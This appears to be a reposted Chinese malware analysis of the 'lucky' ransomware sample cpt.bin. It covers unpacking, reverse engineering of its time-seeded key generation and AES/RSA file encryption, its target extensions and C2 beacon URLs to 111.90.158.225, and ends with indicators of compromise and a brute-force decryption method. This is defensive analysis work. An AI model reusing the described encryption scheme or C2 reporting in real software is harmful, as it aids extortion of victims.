您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何對lucker勒索病毒進行簡單分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
樣本名 | cpt.bin |
---|---|
作者 | jishuzhain |
時間 | 2019.10.14 |
平臺 | Windows 7 sp1 x64 pro |
勒索軟件是目前流行惡意軟件的一個類別,是一種特殊的惡意軟件,又被人歸類為“阻斷訪問式攻擊”(denial-of-access attack),其與其他病毒最大的不同在于手法以及中毒方式。其中一種勒索軟件僅是單純地將受害者的電腦鎖起來,而另一種則系統性地加密受害者硬盤上的文件。所有的勒索軟件都會要求受害者繳納贖金以取回對電腦的控制權,或是取回受害者根本無從自行獲取的解密密鑰以便解密文件。勒索軟件通常通過木馬病毒的形式傳播,將自身掩蓋為看似無害的文件,通常會通過假冒成普通的電子郵件等社會工程學方法欺騙受害者點擊鏈接下載,但也有可能與許多其他蠕蟲病毒一樣利用軟件的漏洞在聯網的電腦間傳播。
由于絕大多數勒索軟件均無法通過技術手段解密,必須拿到對應的解密私鑰才行(AES加密文件,而RSA加密了AES的密鑰,只有攻擊者才有私鑰),所以能不能解密的問題在于是否能獲取到加密的密鑰(針對大部分采用AES對稱加密的情況而言),但這個樣本的獨特之處在于,它的構造邏輯不復雜,使用了計算機的隨機數生成。而這個是偽隨機,關于隨機數的安全問題請查看破密行動: 以不尋常的角度破解 IDA Pro 偽隨機數。雖然網上已有相關的介紹文章,不怎么詳細,最后決定自己分析一遍,盡可能詳細的介紹分析過程。
文件名 | cpt.bin |
---|---|
sha256 | c0531f812a1ec5e825f7250f7b52db7621ecf93d973f0e3ba1aa0372e0f559f2 |
sha1 | c6df4e3cf3eceab3afcf945a686db63dd24c8e1d |
md5 | 36e34e763a527f3ad43e9c30acd276ff |
文件名(工具脫殼后) | cpt.bin.upx.unpack |
sha256 | B251F65AB8CCB4A3B7DF376D0DCC70598C59AF1ADFE022F5A5C5DA0CD9D14D5C |
sha1 | 9F2685A5B290F047B7A1C392E9B37CAAC03C0D8D |
md5 | 7c5afa0eeb718b591d84ee7a9130735b |
操作系統 | Win7_x64_sp1 |
---|---|
調試工具 | ollydbg |
脫殼工具 | upx.exe(最新) |
虛擬機軟件 | VMware12 pro |
反匯編工具 | IDA 7.0 |
文本編輯工具 | notepad++ |
查殼工具 | Detect It Easy |
IAT修復工具 | Import REC |
數據包捕獲工具 | WireShark |
二進制文件查看工具 | 010 Editor 9.0.2 |
文件搜索工具 | Evething |
4.1.1 DIE查殼
由結果可知,被加了殼,檢測結果是壓縮殼UPX(3.95),目前最新的版本。
4.1.2 UPX脫殼
4.1.2.1 手工尋找OEP
UPX為一款經典的開源壓縮殼,可以手工脫殼, 也可以借助工具對其進行脫殼,這里就實驗兩種方法進行脫殼。由于分析環境為Win7 x64系統,ollydbg加載后,一般會自動隨機基址加載,但該樣本沒有,估計已經被之前分析人員修改,又或者原本的樣本并未使能相關的開啟隨機基址的標志,如下圖:
一載入運行,程序暫停在00617E20,單步運行,但一運行在773C9EFE就跑飛了,目前還未找到有關OEP的痕跡。
只能重新運行程序,繼續單步運行分析,在到達OEP前,會發現對一區段內容進行修改,接著修改內存屬性,懷疑是解壓縮。
經過一段時間的單步運行查找,最終發現的OEP其實就在程序剛載入ollydbg時,中斷的地址再往上一段指令,之后發現了遠跳轉,跳轉到了00401480,所以OEP為00401480。
發現了OEP后,接著使用ollydbg自帶的脫殼工具,將其dump下來。使用DIE查殼如下:
能識別相應的編譯器與OEP,但此時dump下的程序,自然無法在系統運行成功,因為缺失了導入表,所以接著使用ImportREC來修復導入表,填寫之前發現的OEP,然后尋找IAT表,如果無誤后就可以修復之前dump下的本地文件了。
修復后,接著查殼如下:
但手工對其脫殼后,程序載入后還是會暫停在00617E20,后續會對其原因進行說明與修復。
4.1.2.2 工具脫殼
使用官方的upx工具對其脫殼后(非常簡單,只需一行命令),ollydbg載入時會停留在004D19D0,而由手工對其脫殼后,程序載入后還是會暫停在00617E20。這里的話是由于中斷在了TLS回調函數1,地址為0x217E40h,關于TLS回調函數,TLS運行在main函數執行之前,會先執行TLS_CALLBACK函數,在函數開啟或結束,線程或進程創建,結束之前都會調用TLS回調函數。簡單的方式可以在main函數執行前調用IsDebuggerPresent函數檢查它是否正在被調試。TLS在PE文件中image-TLS-Directory中表現,一個程序可以注冊多個TLS回調函數。調試TLS回調函數的時候,可以在OllyDbg中選擇Options->Debugging Options->Events,然后設置System break-point作為第一個暫停的位置,這樣就可以讓OllyDbg在TLS回調執行前暫停。要修復暫停時的入口點,只需直接定位PE文件,把TLS回調函數的指針全部改為0即可。(與去除重定向表也差不多),如下是使用010Editor定位TLS目錄地址,將其地址置為0。
之后使用ollydbg載入調試就會中斷在入口點,如下圖:
但使用工具進行脫殼后,暫停的位置會是004D19D0,不過這里不影響之后的調試。
至此脫殼修復成功,也能成功運行(注:需要以管理員權限運行才行)。
接著生成了勒索信,修改了文件名并加密了文件。
使用IDA對upx脫殼后的文件進行分析,找到start函數(當IDA識別不出main函數入口的時候,會通過尋找PE頭里的AddressOfEntryPoint的值作為start函數地址),如下:
如何識別并尋找MinGW編譯器編譯的程序的main函數位置?
ollydbg載入后會發現存在__initenv,并且后續有3個參數入棧(這里的傳參是直接使用寄存器傳值給棧的方式代替push指令入棧進行傳遞),所以下方的call便是main函數00405A92,如下圖:
使用IDA對main函數(sub_405A92)轉換成偽C代碼后分析,如下圖:
00405A92函數內部結構很清晰,這里的話可以發現該樣本并沒有使用反靜態分析的技巧,相應的API函數也直接顯示了出來。
5.2.1 sub_4027E0函數分析
雙擊進入該函數后,可發現是創建互斥量funny,防止多個程序實例運行。
5.2.2 sub_403847函數分析
進入后,首先sub_564610函數的作用是創建61個字節的空間。接著v0獲取到了當前的時間,接著v0作為隨機數生成函數的種子,之后在一段字符數組(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789)里通過隨機數與0x3E取模的值為位置,獲取相應的字符并拼接成長度為61個字節的新字符數組。sub_552240函數的作用是將生成的字符數組復制到指定的區域,unk_60D124同樣也保存了剛剛生成的字符數組。
對其動態分析,可發現生成的60個字節的字符數組如下(這里請注意,該60個字節的字符數組后續會被用來生成加密密鑰):
5.2.3 sub_4D6E50函數分析
該函數的作用是延時,同樣是獲取當前時間作為隨機數種子,內部進入查看下。
5.2.4 sub_405900函數分析
這里會生成16個字節的隨機密鑰,作為用戶的唯一標識符。進入sub_403788函數內部查看,同樣的是使用當前時間作為隨機數生成的種子,循環16次取相應的字符拼接成一個16字節的字符數組,原始數組內容為ABCDEFGHIJPQRSTUVWdefghijklmnopqrstuvwx3456789。接著 sub_542050(v4, "C:\\Windows\\Temp\\Ssession", v0);// 會在 C:\\Windows\\Temp\\Ssession 目錄下創建文件,v1 = (void *)sub_5621A0((int)v4, &unk_60D13C);//將16個字節的隨機密鑰(用戶的唯一標識符)寫入之前創建的文件里。
動態分析中的生成的16個字節隨機密鑰如下(注:該隨機密鑰是唯一的,用來識別受害者):
在” C:\\Windows\\Temp\\Ssession”目錄下會創建一個文件,如下圖:
執行完后,隨機密鑰會被寫入到文件里,如下圖:
5.2.5 sub_40473A函數分析
該函數對之前生成的隨機密鑰進行RSA加密,并與之后的16個字節的隨機密鑰(用戶唯一標識符)進行拼接,組成一段內容(注:由于是多次調試,每次的時間戳不一致導致種子不一致,于是生成的密鑰內容不一致,但組成格式是一致的)。如下:
對文件完成加密后,該樣本將使用RSA算法打包用于文件加密的AES密鑰,并將其附加到文件末尾。
[sOXetN6upqexr96ztd6w5eKw4q61tOOysbCxst614t7jtLXh5OHisuOy466vp6ewprKvsrOn4bHl4Kbi4uGz46+vp+Gmsq7itbWu4uWxsLHjpqan4d7ltbTg47HiprLgtKeupuHls97j5bLj4rG1s+Wv3rC0suDhp7Xhp6fg4eKvpt7htbOn4Kbj4+LltbKx4KfhpuDetLLhsbXltLLh6eG1puCnp7Dgr7Ph5bGn4bCxpuCnsOHe4OGy3rOytLWzpt7h5bHhsODer+Ov3qe1p+Hi4uG1p7Sx5bGu4aez4+Lg3rSup6bg4+HisLGwsODlteWmr6fj3uPls7Cz4qay4ODjsaew5eGzp+Kyr7OvruHi4OHh597eseOyruOv4Kfh4qeyr7Pjs97j5ePlsrDj4ODi5bKnsKfis66w4eKwsaazta+ypqa0ruGwprLis7XlsbCuprHj4Kflr7Cn5eK14qbjs6fes+Djsd7h6bOy47Kmtaa0tbTh5d7g5a/e4rGytLOz4bKnprO1p66xs6en4N6w46awsK7j3uXh5N7j4eGxsLWmrq6xpuCm47Gx3uWv46a13qaysN7irrGn4uHi4OPhsq+xrrPiruHh5rWmsK60p6am4K+ur7Wyr+Wxr+O0s7GzteDl4OG04K/grrTi4bCupq6w5a7gp97h5LCmruGm4+Gyr+Kz4LPjtK6zsrW0srHltLSv5bHe5a+vseHes7Hj5bOws+Ov3rO1seKmsq7i47Gysd6w3qa0pqbl3qanr+Pep67lpq/jtKfe4bKx4rLh5rWwp7KwtK+1srWyp7TlrrSzprGu47LeteCmr7Te4bGv4K+vtOOxsq6y47HiprOzs7GzsaamsK7ir7HgsrKn4+Xh5+WvteKup6a0prLlsuHgs+Cn3rOxseOms+DiseC04a7h4rPg3rDi4eK0s6+mprC05eCvp+Gxs7KmsuOy4q/is67h5N6xr7Gup+Ow4rPlp7Cm4bWz5eCms6aysd7esbCw4t60srOu4eC15a60s+WntOWysrGzruGn46+yp7S1r6/j4rWmsbCm5aaxr+Xi47Hl4OHg4LSy4qey46a0467jrrCvseCwr7S0s67hsOWwsa+n4aau47Hj4eWw4uW13rG0suLiseWysLSurqfjsqawr7Pg4N6zr+DisrXgsrWytLTe4+PgtLG0r7SxseLjs96xsLDi5a+m4bLlruCn3uOn4abls+Lip7GntOGm4uKz4uLjsOHg4bSzp66urq+wsLGntLOwsePjtLPhsbW13uWzsuPisLWzseKw4ae0r6ev4a6wsa61st7lpqe0sa7e4eGw3t6v4bSw5bCyr7LhteWxrt7i4N6upuCu4LLlrp8=]:[q7A43nlvi6Fqhtx8]
5.2.6 sub_405214函數分析
通過遍歷找到可用的盤符并遍歷文件與目錄尋找需要加密的文件,之后在特定位置寫入勒索信內容。
sub_401A5E()函數里是需要加密的文件后綴名內容,如下:
bak,sql,mdf,ldf,myd,myi,dmp,xls,xlsx,docx,pptx,eps,txt,ppt,csv,rtf,pdf,db,vdi,vmdk,vmx,pem,pfx,cer,psd
獲取可用的盤符,如下:
動態分析如下,發現C盤可用。
接著拼接路徑,并在指定位置寫入勒索信內容。
接著往下查看,會對文件與目錄進行操作,獲取需要加密的文件的位置。
先判斷文件是否已被加密,如未被加密(文件名不包含特定的格式)則進入文件加密流程,執行sub_4038D1加密函數,如下:
加密的格式如下(注:由于是多次調試分析,用戶唯一標識符由于時間戳的不同而與上文不同):
原始文件名 | license.txt |
---|---|
加密文件名 | [nmare@cock.li]license.txt.qdQVPDgtn53Wj84P.lucky |
5.2.7 sub_4038D1函數分析(加密)
雙擊進入sub_4038D1函數后,查看整體流程,可發現這里就是勒索軟件加密文件的核心函數了,樣本使用了openssl的加密庫,如下:
首先獲取需要加密的文件的大小,查看后續流程,可發現針對文件大小的不同有不同的加密流程,sub_4D2700函數按照第二個參數的值來對文件進行分塊,用于后續加密的次數。
接著獲取原文件路徑以及文件的后綴名,判斷是否是”ibdata1”后綴名,之后判斷是否是需要加密的文件后綴名,
如果是需要加密的文件后綴名,則開始先對C2發起請求,告知服務器要開始加密文件了。
使用WireShack抓取到的請求:http://111.90.158.225/cyt.php?code=qdQVPDgtn53Wj84P&file=1&size=4404&sys=win&VERSION=4.3&status=begin
發完請求后,會停止相關服務與相應的進程,防止加密文件失敗,如下圖:
接著獲取之前生成的密鑰(取隨機字符數組的前32個字符),打開存在的文件,進入核心加密流程。
每次讀取16個字節進行AESECB模式加密,之后又寫入文件的源位置,依據之前有對不同大小的文件(字節數)做判斷的情況,勒索軟件會有額外的處理邏輯,仔細分析流程后可發現以下幾種情況。
第一種情況,當文件大小小于10000000個字節的時候,會按照每16個字節對文件依次進行加密,最后不滿足16個字節時(對16取模的余數),則不加密。
第二種情況,當文件大小大于10000000個字節的時候,但小于99999999個字節時,按照每16個字節對文件依次進行加密,但只加密前(文件大小 /0x50)次。
第三種情況,當文件大小大于99999999個字節,但小于499999999個字節時,按照每16個字節對文件依次進行加密,但只加密前(文件大小 /0x1E0)次。
第四種情況,當文件大小大于499999999個字節時,按照每16個字節對文件依次進行加密,但只加密前(文件大小 /0x500)次。
當前文件加密完后,勒索軟件在文件末尾寫入RSA加密AES密鑰后的內容。
以下是動態分析中,加密文件的過程,僅僅是截取了一部分流程。
對原文件進行改名,如下:
獲取加密的密鑰,如下圖:
讀取需要加密的文件的16個字節內容進緩沖區,如下圖:
舉個例子,如下:
原內容 | IDA License Agre |
---|---|
AES加密密鑰(ECB模式) | AHrT42Od3JgqMpxUfwpzeEe3WtrXTxVG |
輸出結果 | 3A A5 DA 63 F1 DC 3A FB 2D 2B 04 3B 1A EB B1 01 |
實際本地加密驗證,如下:
加密后,但未添加RSA加密的內容,如下:
完全加密后的文件內容如下:
原始文件,如下:
完全加密后的文件內容如下:
sub_542460函數會使用RSA加密AES密鑰,寫入文件末尾,如下:
對文件完成加密后,該樣本將使用RSA算法打包用于文件加密的AES密鑰,并將其附加到文件末尾。
[sOXetN6upqexr96ztd6w5eKw4q61tOOysbCxst614t7jtLXh5OHisuOy466vp6ewprKvsrOn4bHl4Kbi4uGz46+vp+Gmsq7itbWu4uWxsLHjpqan4d7ltbTg47HiprLgtKeupuHls97j5bLj4rG1s+Wv3rC0suDhp7Xhp6fg4eKvpt7htbOn4Kbj4+LltbKx4KfhpuDetLLhsbXltLLh6eG1puCnp7Dgr7Ph5bGn4bCxpuCnsOHe4OGy3rOytLWzpt7h5bHhsODer+Ov3qe1p+Hi4uG1p7Sx5bGu4aez4+Lg3rSup6bg4+HisLGwsODlteWmr6fj3uPls7Cz4qay4ODjsaew5eGzp+Kyr7OvruHi4OHh597eseOyruOv4Kfh4qeyr7Pjs97j5ePlsrDj4ODi5bKnsKfis66w4eKwsaazta+ypqa0ruGwprLis7XlsbCuprHj4Kflr7Cn5eK14qbjs6fes+Djsd7h6bOy47Kmtaa0tbTh5d7g5a/e4rGytLOz4bKnprO1p66xs6en4N6w46awsK7j3uXh5N7j4eGxsLWmrq6xpuCm47Gx3uWv46a13qaysN7irrGn4uHi4OPhsq+xrrPiruHh5rWmsK60p6am4K+ur7Wyr+Wxr+O0s7GzteDl4OG04K/grrTi4bCupq6w5a7gp97h5LCmruGm4+Gyr+Kz4LPjtK6zsrW0srHltLSv5bHe5a+vseHes7Hj5bOws+Ov3rO1seKmsq7i47Gysd6w3qa0pqbl3qanr+Pep67lpq/jtKfe4bKx4rLh5rWwp7KwtK+1srWyp7TlrrSzprGu47LeteCmr7Te4bGv4K+vtOOxsq6y47HiprOzs7GzsaamsK7ir7HgsrKn4+Xh5+WvteKup6a0prLlsuHgs+Cn3rOxseOms+DiseC04a7h4rPg3rDi4eK0s6+mprC05eCvp+Gxs7KmsuOy4q/is67h5N6xr7Gup+Ow4rPlp7Cm4bWz5eCms6aysd7esbCw4t60srOu4eC15a60s+WntOWysrGzruGn46+yp7S1r6/j4rWmsbCm5aaxr+Xi47Hl4OHg4LSy4qey46a0467jrrCvseCwr7S0s67hsOWwsa+n4aau47Hj4eWw4uW13rG0suLiseWysLSurqfjsqawr7Pg4N6zr+DisrXgsrWytLTe4+PgtLG0r7SxseLjs96xsLDi5a+m4bLlruCn3uOn4abls+Lip7GntOGm4uKz4uLjsOHg4bSzp66urq+wsLGntLOwsePjtLPhsbW13uWzsuPisLWzseKw4ae0r6ev4a6wsa61st7lpqe0sa7e4eGw3t6v4bSw5bCyr7LhteWxrt7i4N6upuCu4LLlrp8=]:[q7A43nlvi6Fqhtx8]
5.2.8 sub_4028A8函數分析
加密文件完成后,會再次向C2發起請求,表示文件加密完成。請求如下:
http://111.90.158.225/cyt.php?code=6HSIAqWhGv9AlTEl&file=168&size=18272981&sys=win&VERSION=4.3&status=done
最后執行該命令,打開記事本,彈出相應的勒索信內容,告知用戶,文件已被加密,當用戶關閉該記事本窗口,樣本則退出進程,沒駐留。
ShellExecuteA(0, 0, "notepad.exe", "c:\\_How_To_Decrypt_My_File_.Dic", 0, 1);
該樣本未有自啟動行為,在整個流程運行結束后,不會駐留進程,所以找到勒索原文件刪除即可。在c:\\_How_To_Decrypt_My_File_.Dic路徑刪除勒索信,通過全盤文件搜索找到后綴為.lucky的文件,此時不要隨意修改已經加密的文件,防止影響文件的修改時間與內容,最后給出相應的思路。
選取一些有標志性的文件,比如docx格式的文件,文件頭開頭一部分是一致的,由于是每次讀取16個字節進行加密,所以先通過取出最早加密的文件的修改時間作為時間戳,然后取出用戶唯一標識符(加密文件的文件名里的key),通過暴力破解偽隨機數生成然后與用戶唯一標識符比對,如果一致時,則可以得到生成用戶唯一標識符時獲取的時間,依據程序流程,接著以這個時間往前暴力枚舉時間戳(由時間戳作為種子生成偽隨機數)生成密鑰來AES解密前16個字節內容與相同的標志進行比對,如果發現存在一致的情況,則可以得到加密時使用的密鑰。
pdf文件頭部是存在標志的
拿pdf文件解密作為例子,通過暴力枚舉時間戳生成相應的密鑰,最終可獲取到正確的加密密鑰,最終可解密,如下圖:
該樣本不是最近出現的,但作為一款國內寫的勒索,其實如果要成功運行,需要以管理員權限才能運行, 即使是以管理員權限運行,但是也會存在異常退出的情況,本地虛擬機實驗的時候都得運行3次左右才能加密成功。當然筆者接觸安全時間不長,文中如有錯誤,感謝指正。
cpt.binsha256 c0531f812a1ec5e825f7250f7b52db7621ecf93d973f0e3ba1aa0372e0f559f2 sha1 c6df4e3cf3eceab3afcf945a686db63dd24c8e1d md5 36e34e763a527f3ad43e9c30acd276ff 111.90.158.225 http://111.90.158.225/cyt.php?code=j8TkdVrfhnxgFW36&file=1&size=186837&sys=win&VERSION=4.3&status=begin
關于如何對lucker勒索病毒進行簡單分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。